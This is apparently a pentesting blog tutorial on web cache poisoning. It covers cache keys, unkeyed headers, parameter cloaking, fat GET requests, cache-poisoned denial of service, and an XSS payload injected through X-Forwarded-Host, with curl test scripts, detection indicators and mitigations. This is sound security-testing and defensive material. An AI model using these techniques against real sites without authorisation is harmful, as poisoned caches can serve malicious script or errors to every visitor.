web hacking

Web Cache Poisoning: Testing, Cache Keys, and Bypass Techniques

Web Cache Poisoning: Testing, Cache Keys, and Bypass Techniques

Practical guide to Web Cache Poisoning in pentesting: analyze cache keys and unkeyed inputs, test headers and fat GETs with Burp, and apply useful detection and mitigations.

  • Posted on 2026-08-03
  • Reading time: 19 min

Web Cache Poisoning: How to Test and Poison an HTTP Cache #

TL;DR: Web cache poisoning occurs when user-controlled input modifies the response generated by the server, but is not included in the cache key. The altered response is then stored and served to other users. To confirm the vulnerability, you must locate a cacheable resource, isolate the test, find input not included in the key, and demonstrate that a clean request still receives the poisoned content.

Web Cache Poisoning , often shortened to Cache Poisoning , is a vulnerability that allows an attacker to insert a modified response into the HTTP cache.

When another user visits the same page, the CDN or reverse proxy can return the poisoned response without querying the application server again.

The impact depends on how the controlled input is incorporated into the response. A successful attack can deliver:

  • false content;
  • redirect to external domains;
  • Controlled absolute URLs;
  • JavaScript files loaded from an external server;
  • persistent errors;
  • incorrect configurations;
  • denial of service;
  • a Cross-Site Scripting distributed to multiple users.

Cache poisoning affects HTTP caches in CDNs, reverse proxies, gateways, and applications. It should not be confused with DNS cache poisoning or direct modification of databases like Redis and Memcached.

The reference specification for HTTP cache behavior is RFC 9111.


How does an HTTP cache work? #

A cache is typically located between the client and the application server:

text
Browser
   ↓
CDN o reverse proxy
   ↓
Server applicativo

When a resource is requested for the first time:

http
GET /news HTTP/1.1
Host: target.example

The cache may not yet have a copy of the response:

text
Cache MISS

The request is forwarded to the backend, which generates the page. If the response meets the caching criteria, it is stored.

A subsequent request considered equivalent can directly receive the saved copy:

text
Cache HIT

The backend is not necessarily contacted.

To better understand methods, headers, requests and responses, also consult the Hackita guide to port 80 and the HTTP protocol.


What is the cache key? #

The cache key is the identifier used by the cache to decide whether two requests should share the same response.

A cache key may include:

text
metodo HTTP
schema
hostname
porta
path
query string
header selezionati
cookie selezionati

The actual composition depends on the CDN, reverse proxy and the applied configuration.

Simplified example:

text
GET + https + target.example + /products?id=10

Two requests can contain different headers and cookies, but be considered equivalent if those values ​​are not included in the key cache.

A value that affects the response but not the key is often called unkeyed input.

text
Input controllabile
        +
Modifica la risposta
        +
Non modifica la cache key
        +
Risposta cacheabile
        =
Web Cache Poisoning

Simple Example of Cache Poisoning #

Consider these requests:

http
GET / HTTP/1.1
Host: target.example
http
GET / HTTP/1.1
Host: target.example
X-Forwarded-Host: cache-test.example

The cache may use only the hostname and path to build the key.

The backend could instead use X-Forwarded-Host to create an absolute URL:

html
<script src="https://cache-test.example/static/app.js"></script>

If the response is stored with the same key as the normal request, a user who does not send the header may still receive:

html
<script src="https://cache-test.example/static/app.js"></script>

Vulnerability exists because X-Forwarded-Host:

  1. is controlled by the client;
  2. influences the response;
  3. does not differentiate cache entry;
  4. produces a memorable response.

Cache Poisoning and Web Cache Deception: Differences #

The two techniques involve a cache, but have different goals.

TechnologyTarget
Web Cache PoisoningStore a corrupted response and distribute it to other users
Web Cache DeceptionTrick the cache into storing a private response from the victim
Cache Poisoned DoSStore an error response and cause unavailability
Browser Cache PoisoningAltering a response stored in the browser's private cache

In Cache Poisoning the attacker influences the contents.

In Cache Deception, the response normally contains legitimate data, but it should not have been saved in a shared cache.


What conditions are needed? #

To confirm Web Cache Poisoning, four conditions are usually needed:

ConditionHow to check it
The resource is cacheableThe response changes from MISS to HIT or increases Age
There is a controllable inputHeader, cookie, parameter, body or path
Input changes responseA marker appears in the body or headers
The input is not part of the keyThe marker remains in the response when the input is removed

The mere presence of a CDN does not prove vulnerability.

Just reflecting a header does not prove that the response is stored.

Un X-Cache: HIT does not demonstrate that the poisoned content is being served to other users.


What are Oracle Cache and Gadget Cache? #

Oracle cache #

An oracle cache is a page or resource that allows you to reliably observe the behavior of the cache.

A good oracle cache:

  • it is accessible without destructive effects;
  • it is quickly memorized;
  • exposes Age, X-Cache or equivalent indicators;
  • allows you to isolate the cache key;
  • has a TTL long enough to perform the test;
  • does not contain personal data.

Gadget cache #

A cache gadget is a backend behavior that allows a controlled input to modify the response.

Examples:

  • a header modifies an absolute URL;
  • a cookie changes the content of the page;
  • a parameter is reflected in JavaScript;
  • the port modifies a redirect;
  • the body of a GET changes the response;
  • an alternate path causes a cacheable error.

Cache Poisoning typically requires both:

text
Cache oracle
     +
Gadget controllabile
     =
Possibile exploit

How to recognize a memorized answer? #

Check the headers:

text
Age
X-Cache
X-Cache-Hits
CF-Cache-Status
X-Served-By
Via
Server-Timing
Cache-Control
Vary

Example:

http
HTTP/2 200 OK
Cache-Control: public, max-age=300
Age: 28
X-Cache: HIT
Via: 1.1 varnish

Frequent values:

text
HIT
MISS
BYPASS
DYNAMIC
EXPIRED
REVALIDATED
STALE

The precise names and meanings depend on the technology.

The absence of an explicit header doesn't mean the cache doesn't exist. You can compare:

  • latency;
  • header Date;
  • value Age;
  • returned content;
  • TTL observed;
  • behavior after identical requests;
  • differences using a cache buster.

Repeated test #

bash
URL="https://target.example/page?cb=test-a83f10"

for i in 1 2 3; do
  echo "=== REQUEST $i ==="

  curl -sk -o /dev/null -D - "$URL" |
    grep -Ei \
      '^(HTTP/|age:|x-cache:|x-cache-hits:|cf-cache-status:|via:|cache-control:|vary:|date:)'

  sleep 2
done

A passage from MISS a HIT It's a useful indicator, but you also need to check the body.


How to interpret Cache-Control? #

The main directives must not be confused.

DirectiveMeaning
no-storeThe answer does not need to be memorized
no-cacheThe response can be saved, but must be validated before reuse.
privateThe response must not be saved from shared caches
publicExplicitly allow shared storage
max-ageDuration of freshness in seconds
s-maxageSpecific TTL for shared caches
must-revalidateAfter expiration it requires validation
stale-while-revalidateAllows you to temporarily serve expired content during validation
stale-if-errorAllows serving an expired copy if origin fails

This response can be stored, despite the name of the directive:

http
Cache-Control: no-cache

This instead indicates that the content should not be stored:

http
Cache-Control: no-store

How does Vary work? #

The header Vary indicates which request headers should be compared when a cache decides whether to reuse a response.

Example:

http
Vary: Accept-Encoding

The cache can store different variants for:

text
Accept-Encoding: gzip
Accept-Encoding: br

Another example:

http
Vary: Accept-Language

The Italian answer can be separated from the English one.

Vary does not automatically fix Cache Poisoning. If the backend uses X-Forwarded-Host but the cache varies only for Accept-Encoding, the proxy header may be excluded from matching.

A value listed in Vary It can also be used for targeted poisoning of a specific browser, language, or user agent.


Safe testing: use a harmless marker first #

Cache poisoning can modify a response shared with real users.

Don't start testing on the production home page and don't immediately use JavaScript.

Use a harmless marker:

text
cache-test-a83f10.example

Avoid initially:

html
<script>alert(document.cookie)</script>

First you just have to prove that:

  1. the marker modifies the response;
  2. the answer is stored;
  3. a clean request receives the same marker.

Is the cache buster actually included in the key? #

A random parameter is often used to isolate the test:

text
?cb=a83f10

However, you should not assume that the parameter participates in the key cache.

Check it with different values:

bash
URL="https://target.example/page"

curl -sk -D /tmp/cb-a.headers \
  -o /tmp/cb-a.body \
  "$URL?cb=aaa111"

curl -sk -D /tmp/cb-b.headers \
  -o /tmp/cb-b.body \
  "$URL?cb=bbb222"

Compare:

bash
diff -u /tmp/cb-a.headers /tmp/cb-b.headers
diff -u /tmp/cb-a.body /tmp/cb-b.body

Repeat each variation several times.

If requests with different cache busters receive the same entry, the query string or parameter may be excluded from the key.

In that case, stop testing the shared resource.


Correct A/B/A/B workflow #

This is the most reliable method to confirm the vulnerability.

bash
URL="https://target.example/page"
KEY="cb-$(openssl rand -hex 6)"
CLEAN_KEY="cb-$(openssl rand -hex 6)"
MARKER="cache-test-$(openssl rand -hex 6).example"

A — Isolated Baseline #

bash
curl -sk \
  -D /tmp/a.headers \
  -o /tmp/a.body \
  "$URL?cb=$KEY"

The marker must not appear:

bash
grep -Rni "$MARKER" /tmp/a.headers /tmp/a.body

B — Request with controlled input #

bash
curl -sk \
  -D /tmp/b.headers \
  -o /tmp/b.body \
  -H "X-Forwarded-Host: $MARKER" \
  "$URL?cb=$KEY"

Verify that the marker changes the response:

bash
grep -Rni "$MARKER" /tmp/b.headers /tmp/b.body

A2 — Clean request on the same key #

bash
curl -sk \
  -D /tmp/a2.headers \
  -o /tmp/a2.body \
  "$URL?cb=$KEY"

Confirm that the marker is still present:

bash
grep -Rni "$MARKER" /tmp/a2.headers /tmp/a2.body

Check also:

bash
grep -Ei \
  '^(age|x-cache|x-cache-hits|cf-cache-status|via|cache-control|vary):' \
  /tmp/a2.headers

C — Different control key #

bash
curl -sk \
  -D /tmp/c.headers \
  -o /tmp/c.body \
  "$URL?cb=$CLEAN_KEY"

The marker must not be present:

bash
grep -Rni "$MARKER" /tmp/c.headers /tmp/c.body

Result compatible with Cache Poisoning:

text
A  → risposta pulita
B  → marker nella risposta
A2 → marker ancora presente senza header
C  → risposta pulita con una chiave differente

Technique 1 — Headers not included in the key cache #

The most interesting headers depend on the infrastructure.

Frequent candidates:

text
X-Forwarded-Host
X-Host
X-Forwarded-Server
Forwarded
X-Forwarded-Proto
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
X-HTTP-Method-Override
X-Forwarded-Port

Don't send them all at once.

Edit only one header at a time to identify the one responsible for the difference.

X-Forwarded-Host #

bash
BUSTER="cb-$(openssl rand -hex 6)"
MARKER="cache-test-$(openssl rand -hex 6).example"

curl -sk \
  -D /tmp/xfh.headers \
  -o /tmp/xfh.body \
  -H "X-Forwarded-Host: $MARKER" \
  "https://target.example/?cb=$BUSTER"

Find the marker:

bash
grep -Rni "$MARKER" /tmp/xfh.headers /tmp/xfh.body

May appear in:

html
<link rel="canonical" href="https://cache-test.example/">
html
<meta property="og:url" content="https://cache-test.example/">
html
<script src="https://cache-test.example/static/app.js"></script>

Or in a redirect:

http
Location: https://cache-test.example/login

Repeat without header:

bash
curl -sk \
  -D /tmp/xfh-clean.headers \
  -o /tmp/xfh-clean.body \
  "https://target.example/?cb=$BUSTER"

If the marker remains present, check the cache status.

When a controlled value is inserted into the response headers, the problem can be linked to an HTTP Header Injection or a CRLF Injection.


Technique 2 — Host header and host override #

The normal header Host It generally participates in routing and key caching, but complex infrastructures can have different behaviors between edges and origins.

Controlled example:

http
GET / HTTP/1.1
Host: target.example
X-Host: cache-test.example

Other possible headers:

text
X-Forwarded-Host
X-Host
X-HTTP-Host-Override
Forwarded: host=cache-test.example

The test is relevant when the backend uses the alternate host to generate:

  • Canonical URLs;
  • absolute links;
  • Reset URL;
  • redirect;
  • resource import;
  • Open Graph references.

A simple one:

bash
curl -H "Host: cache-test.example" https://TARGET/

does not alone demonstrate Cache Poisoning.

You must always complete the A/B/A workflow.


Technique 3 — Protocol, port and redirect #

Some applications rely on proxy headers to determine the original scheme and port.

Payloads:

http
X-Forwarded-Proto: http
X-Forwarded-Scheme: http
X-Forwarded-Ssl: off
Front-End-Https: off
X-Forwarded-Port: 1337

Example:

bash
curl -sk -i \
  -H "X-Forwarded-Proto: http" \
  "https://target.example/?cb=a83f10"

Possible outcome:

http
HTTP/2 301
Location: http://target.example/

With altered door:

bash
curl -sk -i \
  -H "X-Forwarded-Port: 1337" \
  "https://target.example/?cb=a83f10"

Possible redirect:

http
Location: https://target.example:1337/login

If the redirect is remembered and the port or protocol does not participate in the key, users may receive the wrong destination.

If the destination is controllable, the impact can be chained with an Open Redirect.


Cookies can modify:

  • tongue;
  • currency;
  • theme;
  • variant A/B;
  • device;
  • banner;
  • frontend configurations.

Example:

http
Cookie: language=it

Test:

bash
BUSTER="cb-$(openssl rand -hex 6)"

curl -sk \
  -D /tmp/cookie.headers \
  -o /tmp/cookie.body \
  -H "Cookie: language=it" \
  "https://target.example/article?$BUSTER"

curl -sk \
  -D /tmp/cookie-clean.headers \
  -o /tmp/cookie-clean.body \
  "https://target.example/article?$BUSTER"

diff -u /tmp/cookie.body /tmp/cookie-clean.body

The vulnerability is confirmed only if:

  1. the cookie modifies the response;
  2. the answer is stored;
  3. the variant is returned without cookies;
  4. The clean request shares the same cache key.

Check also:

http
Vary: Cookie

Many caches do not include the entire header Cookie in the key because it would produce a huge number of variants.


Technique 5 — Query string completely excluded #

Some caches ignore the entire query string.

Compare:

text
/page?value=one
/page?value=two

If both requests share the same entry but the backend mirrors the query, it may be possible to poison the base version of /page.

Test:

bash
curl -sk \
  -D /tmp/query-one.headers \
  -o /tmp/query-one.body \
  "https://target.example/page?value=cache-test-one"

curl -sk \
  -D /tmp/query-two.headers \
  -o /tmp/query-two.body \
  "https://target.example/page?value=cache-test-two"

Repeat the requests in a different order and check which value remains in the cache.

This test is risky because a cache buster in the query could be ignored. Only run it on an isolated endpoint or in a lab.


Technique 6 — Parameter excluded from key cache #

CDNs and reverse proxies can exclude parameters used for analytics:

text
utm_source
utm_medium
utm_campaign
utm_content
fbclid
gclid

The backend may still read or reflect them.

Example:

text
/search?q=phone&utm_content=cache-test

Test:

bash
curl -sk \
  -D /tmp/utm-one.headers \
  -o /tmp/utm-one.body \
  "https://target.example/search?q=phone&utm_content=one"

curl -sk \
  -D /tmp/utm-clean.headers \
  -o /tmp/utm-clean.body \
  "https://target.example/search?q=phone"

Se utm_content is excluded from the key and the value one remains in the clean response, the parameter is a possible vector.


Technique 7 — Cache parameter cloaking #

Parameter cloaking exploits differences in parsing between the cache and the backend.

Example:

text
?utm_content=abc;callback=cache-test

The cache might interpret:

text
utm_content = abc;callback=cache-test

and ignore the whole parameter because utm_content is excluded from the key.

The backend might instead interpret:

text
utm_content = abc
callback = cache-test

Variants to compare:

text
?utm_content=abc;callback=one
?utm_content=abc%3Bcallback=two
?utm_content=abc&callback=three
?utm_content=abc%26callback=four

Test:

bash
curl -sk \
  --path-as-is \
  -D /tmp/cloak.headers \
  -o /tmp/cloak.body \
  "https://target.example/?utm_content=abc;callback=cache-test"

There is no universal separator.

The result depends on:

  • language;
  • framework;
  • reverse proxy;
  • cache parser;
  • URL normalization;
  • decoding applied.

Technique 8 — Fat GET #

A fat GET is a GET request with a body.

http
GET /preferences HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

language=cache-test

Many caches construct the key without considering the GET body.

Some backends, instead, process that body.

Test:

bash
BUSTER="cb-$(openssl rand -hex 6)"

curl -sk \
  -X GET \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "language=cache-test" \
  -D /tmp/fat-get.headers \
  -o /tmp/fat-get.body \
  "https://target.example/preferences?$BUSTER"

Clean request:

bash
curl -sk \
  -D /tmp/fat-get-clean.headers \
  -o /tmp/fat-get-clean.body \
  "https://target.example/preferences?$BUSTER"

Compare:

bash
diff -u /tmp/fat-get.body /tmp/fat-get-clean.body

The test is only valid if the body actually influences the response.


Technique 9 — Method override #

Some frameworks support:

http
X-HTTP-Method-Override: POST
X-HTTP-Method: POST
X-Method-Override: POST

Example:

bash
curl -sk \
  -H "X-HTTP-Method-Override: POST" \
  "https://target.example/resource?cb=a83f10"

The backend may treat the request as a POST, while the cache still treats it as a GET.

Possible consequence:

text
cache key GET
        +
risposta generata dal percorso POST
        =
risposta sbagliata salvata come GET

The test is only relevant when the application supports method override.


Technique 10 — Unkeyed port #

In some configurations, the cache normalizes or removes the port from the key while the backend uses it to generate the response.

Request:

http
GET / HTTP/1.1
Host: target.example:1337

Possible answer:

http
Location: https://target.example:1337/login

With HTTP/1.1 and an explicit destination IP:

bash
curl -sk -i \
  --resolve target.example:443:192.0.2.10 \
  -H "Host: target.example:1337" \
  https://target.example/

Do not run the test if the header Host altered is used for routing to different virtual hosts.


Technique 11 — Normalized cache key #

The cache can normalize the path before creating the key, while the backend reflects or interprets the original path.

Variants:

text
/page
//page
/./page
/page/
/page%2f
/page%2e
/page;test
/%70age

Test:

bash
curl -sk -i \
  --path-as-is \
  "https://target.example/./page?cb=a83f10"

Automatic comparison:

bash
paths=(
  "/page"
  "//page"
  "/./page"
  "/page/"
  "/page%2f"
  "/page;test"
)

for path in "${paths[@]}"; do
  curl -sk \
    --path-as-is \
    -o "/tmp/path-$(echo "$path" | tr '/%' '__').body" \
    -w "$path -> %{http_code} %{size_download}\n" \
    "https://target.example$path?cb=a83f10"
done

The problem can occur in two directions:

  1. different paths are normalized to the same key;
  2. the same logical path produces different keys between cache and backend.

Technique 12 — Cache key injection #

Cache key injection occurs when a controlled value is inserted into the key without unambiguous separation or encoding.

Conceptual example:

text
chiave = host + path + parametro

If components are concatenated without safe delimiters:

text
host=a
path=/bc

could produce the same representation as:

text
host=ab
path=/c

Other possible problems:

  • newline in value;
  • unescaped delimiters;
  • duplicate headers;
  • different normalization;
  • query-path collisions;
  • percent encoding interpreted at different stages.

This scenario is advanced and completely implementation dependent.

You don't need to confirm just because a value is reflected: you need to demonstrate a reproducible collision between two different requests.


Technique 13 — Targeted Cache Poisoning #

A cache can create variants based on:

http
Vary: User-Agent

or:

http
Vary: Accept-Language

An attacker could poison only the variant intended to:

  • a specific browser;
  • a mobile device;
  • a language;
  • a crawler;
  • a specific group of users.

Example:

bash
curl -sk \
  -H "User-Agent: Mozilla/5.0 TARGET-UA" \
  -H "X-Forwarded-Host: cache-test.example" \
  "https://target.example/?cb=a83f10"

The verification request must use the same User-Agent:

bash
curl -sk \
  -H "User-Agent: Mozilla/5.0 TARGET-UA" \
  "https://target.example/?cb=a83f10"

A request with a different user agent could receive a clean variant and produce a false negative.


Technique 14 — Internal Cache Poisoning #

An application can use multiple layers:

text
CDN esterno
    ↓
reverse proxy
    ↓
cache applicativa
    ↓
origin

A cache buster could isolate the external cache but not the internal cache.

Possible behavior:

text
/query?cb=one → CDN key differente
/query?cb=two → CDN key differente

Entrambe raggiungono la stessa entry nella cache interna

Indicators:

  • the marker appears on different cache busters;
  • the edge returns MISS, but the body remains identical;
  • the observed TTL does not match;
  • external cache headers change, but the internal content does not;
  • Behavior varies between PoPs.

To confirm an internal cache you must distinguish:

text
risposta prodotta dall’origin
risposta prodotta dalla cache applicativa
risposta prodotta dal CDN

Record headers, times and TTLs of each observable layer separately.


Technique 15 — Cache Poisoned Denial of Service #

Cache Poisoned DoS , abbreviated to CPDoS, occurs when an anomalous request causes an error response to be stored.

Possible causes:

  • header too large;
  • invalid port;
  • abnormal path;
  • method override;
  • proxy header;
  • backend error;
  • unsupported method;
  • inconsistent normalization.

Flow:

text
Richiesta anomala
      ↓
Backend genera 400, 403, 404 o 500
      ↓
La cache memorizza l’errore
      ↓
Gli utenti ricevono la risposta inutilizzabile

Harmless test on a dedicated route:

bash
BUSTER="cb-$(openssl rand -hex 6)"

curl -sk \
  -D /tmp/cpdos.headers \
  -o /tmp/cpdos.body \
  -H "X-Forwarded-Port: invalid" \
  "https://target.example/test-cache?$BUSTER"

Repeat without header and see if the error persists.

Do not test CPDoS on home pages, login endpoints, or critical APIs without an agreed-upon window.


Technique 16 — Poisoning via errors and status codes #

A cache can store different statuses from 200 OK, depending on the configuration.

Possible answers:

text
301
302
404
410
500
503

Check it out:

http
Cache-Control
Surrogate-Control
CDN-Cache-Control
Expires
Age

A temporary error can become persistent if the CDN assigns a TTL to errors.

Example:

bash
curl -sk -i \
  -H "X-Original-URL: /does-not-exist" \
  "https://target.example/?cb=a83f10"

Repeat without header and check if the 404 remains associated with the normal route.


Technique 17 — Poisoning via XSS #

Cache Poisoning can turn a reflex injection into a distributed vector.

Always use a marker first:

text
cache-test-a83f10

Only after confirmation in the lab can you verify the HTML context:

html
"><script>alert(document.domain)</script>

Conceptual example:

bash
curl -sk \
  -H 'X-Forwarded-Host: "><script>alert(document.domain)</script>' \
  "https://target.example/?cb=a83f10"

The presence of the payload in the body is not enough.

You must demonstrate:

  1. executable context;
  2. no encoding;
  3. stored response;
  4. clean request that receives the payload;
  5. CSP and browser compatibility.

For payloads, contexts and bypasses see the dedicated XSS article.


Technique 18 — Concatenation with HTTP Request Smuggling #

HTTP Request Smuggling exploits a difference in how the front-end and back-end delimit requests.

When a cache is involved, smuggling can:

  • associate a response with the wrong path;
  • contaminate the response of the next request;
  • poison a cache entry;
  • bypass the expected cache key.

This workflow is not equivalent to regular Cache Poisoning via headers.

Requires:

  • at least two HTTP parsers;
  • a real desynchronization;
  • control the order of requests;
  • confirmation of the answer associated with the wrong key.

Do not add CL.TE or TE.CL payloads to this article: they should remain in the specific Request Smuggling guide to avoid cannibalization and technical confusion.


Param Miner with Burp Suite #

Param Miner is a Burp Suite extension useful for detecting hidden inputs.

You can search for:

  • undocumented headers;
  • query parameter;
  • cookies;
  • inputs potentially excluded from the key cache;
  • parameter cloaking;
  • fat GET;
  • cache poisoning based on minimal variations.

Workflow:

text
1. Trova una cache oracle.
2. Invia la richiesta al Repeater.
3. Aggiungi un cache buster verificato.
4. Clic destro sulla richiesta.
5. Guess headers o Guess GET parameters.
6. Analizza le differenze rilevate.
7. Sostituisci il valore con un marker innocuo.
8. Esegui il workflow A/B/A.
9. Conferma manualmente cache HIT e persistenza.

Don't consider every Param Miner result as a vulnerability.

The extension identifies inputs that modify the response. You still need to prove that the input doesn't change the cache key.

The complete methodology and labs are available in PortSwigger's Web Security Academy.


Manual header testing #

Precautionary initial list:

bash
headers=(
  "X-Forwarded-Host"
  "X-Host"
  "X-Forwarded-Server"
  "X-Forwarded-Proto"
  "X-Forwarded-Scheme"
  "X-Forwarded-Port"
  "X-Original-URL"
  "X-Rewrite-URL"
  "X-HTTP-Method-Override"
)

URL="https://target.example/page"
BUSTER="cb-$(openssl rand -hex 6)"
MARKER="cache-test-$(openssl rand -hex 6).example"

for header in "${headers[@]}"; do
  safe_name=$(echo "$header" | tr '[:upper:]' '[:lower:]')

  curl -sk \
    -D "/tmp/$safe_name.headers" \
    -o "/tmp/$safe_name.body" \
    -H "$header: $MARKER" \
    "$URL?$BUSTER"

  if grep -Rqi "$MARKER" \
    "/tmp/$safe_name.headers" \
    "/tmp/$safe_name.body"; then
    echo "[+] $header modifica la risposta"
  else
    echo "[-] $header non riflesso"
  fi
done

This script only identifies differences or reflections.

Does not confirm marker caching.


Prerequisite, test and result matrix #

PrerequisiteTestUseful result
Cacheable resourceRepeat the same requestMISS followed by HIT
Isolatable cache keyChange cache busterDifferent entries
Header interpretedInsert markerMarker in the response
Header not includedRemove headerMarker still present
Query excludedChange parameterSame entry reused
Cookie excludedRemove cookiesVariant still returned
Fat GET processedGET with bodyEdited answer
Internal cacheChange external keyMarker persists between different keys
CPDoSGenerates harmless errorError returned on clean request

What each test supports and what it does not support #

ObservationWhat it provesWhat it doesn't prove
X-Cache: HITA response was reusedThe content is poisoned
Reflected markerThe backend uses the inputThe marker is stored
Marker after clean requestPossible poisoningMay it reach all PoPs
Age increasesReused entryWhat cache level produced it?
Vary: CookieThe cookie contributes to matchingThat all cookies are included
Different queries are the samePossible exclusion or normalizationWhich parameter is ignored
Persistent errorPossible CPDoSThat the error is global
Latency differencePossible cacheFinal confirmation

Common false positives #

Marker reflected but not stored #

This is a normal reflection or injection.

It's not Cache Poisoning.

HIT without marker #

The resource is stored, but the input does not influence the shared response.

Marker present only with the header #

The header could:

  • be included in the key cache;
  • produce a non-cacheable response;
  • be processed after the observed level;
  • create a separate variant.

Different Edge PoPs #

Two requests can reach different CDN nodes.

Compare:

text
X-Served-By
CF-Ray
X-Amz-Cf-Pop
Via
Server-Timing

Browser cache #

Use Burp Repeater or curl instead of the browser.

Legitimate customization #

Language, country, user agent, device, and A/B testing can produce predicted variations.

Check it out Vary, cookies and CDN configuration.

Internal cache #

A HIT observed in the body could come from:

  • Redis;
  • framework;
  • microservice;
  • internal reverse proxy;
  • External CDN.

Identify the actual level.

State response #

The cache may serve an expired response via:

text
stale-while-revalidate
stale-if-error

Content may appear persistent even if the entry has technically expired.


Common mistakes during testing #

Every request returns MISS #

Possible causes:

  • Cache-Control: private;
  • Cache-Control: no-store;
  • presence of Authorization;
  • session cookies;
  • non-cacheable status;
  • always different query;
  • very short TTL;
  • CDN bypassed;
  • too big response;
  • unsupported method;
  • cache rule not applied.

The marker does not appear #

Possible causes:

  • header ignored;
  • value overwritten by proxy;
  • input not used by the backend;
  • response taken from cache before reaching origin;
  • encoding;
  • reflection present in another route;
  • request sent to the wrong virtual host.

The marker appears but disappears immediately #

Possible causes:

  • short TTL;
  • cache revalidation;
  • automatic invalidation;
  • different edge node;
  • response not stored;
  • Set-Cookie;
  • Vary create a different variant.

The cache buster does not isolate #

The query string or that parameter may be excluded from the key.

Do not continue on the shared route.

Cache-Control: no-cache but I see HIT #

It's possible: no-cache allows storage, but requires validation before reuse.

The purge doesn't eliminate everything #

Possible causes:

  • multilevel cache;
  • different key;
  • regional cache;
  • browser cache;
  • internal cache;
  • purge for URLs that do not cover variants.

Detection #

Detection requires telemetry from:

  • CDN;
  • reverse proxy;
  • WAF;
  • origin;
  • application cache;
  • browser or RUM, when available.

Useful indicators:

  • X-Forwarded-Host with unauthorized domains;
  • proxy headers coming directly from the Internet;
  • X-Original-URL o X-Rewrite-URL sent by clients;
  • GET with body;
  • method override on cacheable pages;
  • anomalous doors in Host;
  • analytics queries containing payloads;
  • duplicate parameters or abnormal separators;
  • requests with numerous cache busters;
  • errors 400 o 500 served as HIT;
  • HIT responses containing unknown domains;
  • sudden changes in canonical URLs;
  • purge spikes or invalidations;
  • personalized responses served without cookies;
  • discrepancies between URL received from the edge and URL sent to the origin.

Correlation:

text
Input anomalo
      ↓
Origin genera una risposta differente
      ↓
La cache salva la risposta
      ↓
Richieste pulite ricevono lo stesso contenuto

Useful fields to record:

text
timestamp
request ID
edge PoP
cache status
cache key o suo hash
URL originale
URL normalizzato
header rimossi
header inoltrati
TTL
Age
origin status
response hash

Mitigations #

Store only truly shareable content #

Avoid generic rules like:

text
Cache everything

on pages that depend on:

  • authentication;
  • cookies;
  • role;
  • tenant;
  • tongue;
  • preferences;
  • proxy header;
  • dynamic queries;
  • request body.

Remove client-provided proxy headers #

The reverse proxy must:

  1. remove untrusted external headers;
  2. regenerate the reliable values;
  3. forward only those produced by the infrastructure to the backend.

Examples:

text
X-Forwarded-Host
X-Forwarded-Proto
X-Forwarded-Port
X-Real-IP
Forwarded
X-Original-URL

Align cache key with origin behavior #

Any input capable of legitimately modifying the response must:

  • be included in the key cache;
  • create a variant via Vary;
  • be normalized;
  • or cause the cache to bypass.

Do not include unnecessary input in the key #

Caching every header in the key cache is not a good solution.

May cause:

  • cache fragmentation;
  • low hit ratio;
  • memory consumption;
  • involuntary bypasses;
  • cache denial of service.

Include only inputs that actually need to produce variants.

Using Cache-Control Correctly #

Sensitive content:

http
Cache-Control: no-store

Personal content that can only be stored by the browser:

http
Cache-Control: private

Public content:

http
Cache-Control: public, max-age=300

Shared cache with specific TTL:

http
Cache-Control: public, max-age=60, s-maxage=300

Avoid bodies in cacheable GETs #

If the body modifies the response:

  • use POST;
  • disable caching;
  • or set up a key that securely represents the content.

Consistent normalization #

Edge, WAF, proxy and backend must interpret the same:

text
path
slash multipli
dot segment
percent encoding
query string
ordine dei parametri
parametri duplicati
punto e virgola
porta
hostname
maiuscole e minuscole

The URL used for the key must be consistent with the one sent to the origin.

Separate public and private content #

Do not use the same route for:

text
pagina pubblica
pagina autenticata
risposta personalizzata
risposta amministrativa

without an explicit caching strategy.

Don't memorize mistakes indiscriminately #

Define conservative TTLs for:

text
400
403
404
500
502
503

and verify that untrusted inputs cannot create shared errors.

Defense in depth #

A Content Security Policy does not fix Cache Poisoning, but it can reduce the impact of poisoned JavaScript.

Actionable recommendations for avoiding poisoning and aligning URLs and cache keys are also described in the Cloudflare guide on avoiding Web Cache Poisoning.


Cleanup #

When you have access to the CDN platform use:

text
purge URL
purge cache key
invalidate path
purge tag
purge prefix

Register:

text
URL avvelenata
cache key
marker
TTL
PoP coinvolti
orario del test
metodo di purge
orario della verifica finale

After the purge:

bash
curl -sk \
  -D /tmp/cleanup.headers \
  -o /tmp/cleanup.body \
  "https://target.example/page?cb=a83f10"

grep -Rni \
  "cache-test" \
  /tmp/cleanup.headers \
  /tmp/cleanup.body

No result simply proves that that specific variant does not contain the marker.

Repeat the check:

  • without cache buster;
  • with variants defined by Vary;
  • from different PoPs, when possible;
  • on the internal cache;
  • after the TTL expires.

Remove local artifacts:

bash
rm -f /tmp/*.headers
rm -f /tmp/*.body

Laboratory environment to be documented #

To make your finding verifiable and citable, record:

text
Data del test:
Sistema operativo tester:
Versione Burp Suite:
Versione Param Miner:
Protocollo HTTP:
CDN o reverse proxy:
Origin server:
Endpoint:
Cache status osservati:
TTL:
Header Vary:
Cache-Control:
Cache buster:
Marker:
PoP:

Example:

text
Data: 13 luglio 2026
Client: Kali Linux
HTTP: HTTP/2 verso edge, HTTP/1.1 verso origin
Cache: reverse proxy identificato tramite Via
Endpoint: /news
TTL: 300 secondi
Input: X-Forwarded-Host
Marker: cache-test-a83f10.example
Conferma: marker presente nella richiesta pulita con Age: 19
Cleanup: purge della singola URL

Use only values ​​actually observed in your laboratory.


How to document the finding #

A complete report should contain:

CountrysideInformation
EndpointVulnerable URL
Cache levelCDN, proxy or internal cache
Oracle cacheResource used to observe behavior
Cache keyConfirmed or deduced components
InputHeader, cookie, parameter or body
GadgetHow input changes response
Testing cachingHIT, Age or equivalent behavior
Clean requestProof that it still receives the marker
TTLObserved duration
ScopePoP, language, browser or variant
ImpactRedirect, XSS, DoS or altered content
CleanupPurge and final verification

Minimum sequence:

text
Richiesta baseline
Richiesta con marker
Risposta alterata
Richiesta pulita
Risposta ancora alterata
Prova di cache HIT
Richiesta con cache key differente
Risposta pulita

FAQ #

What is Web Cache Poisoning? #

Web Cache Poisoning is a vulnerability in which user-controlled input modifies a response stored by an HTTP cache. If the input is not included in the cache key, subsequent requests deemed equivalent may receive the altered response even without containing the original payload.

How do you check if a page is cached? #

Repeat the same request and check headers like Age, X-Cache, CF-Cache-Status, Via e X-Served-ByA transition from MISS to HIT is indicative. In the absence of diagnostic headers, compare latency, content, TTL, and behavior using an isolated key cache.

Which headers are tested for Cache Poisoning? #

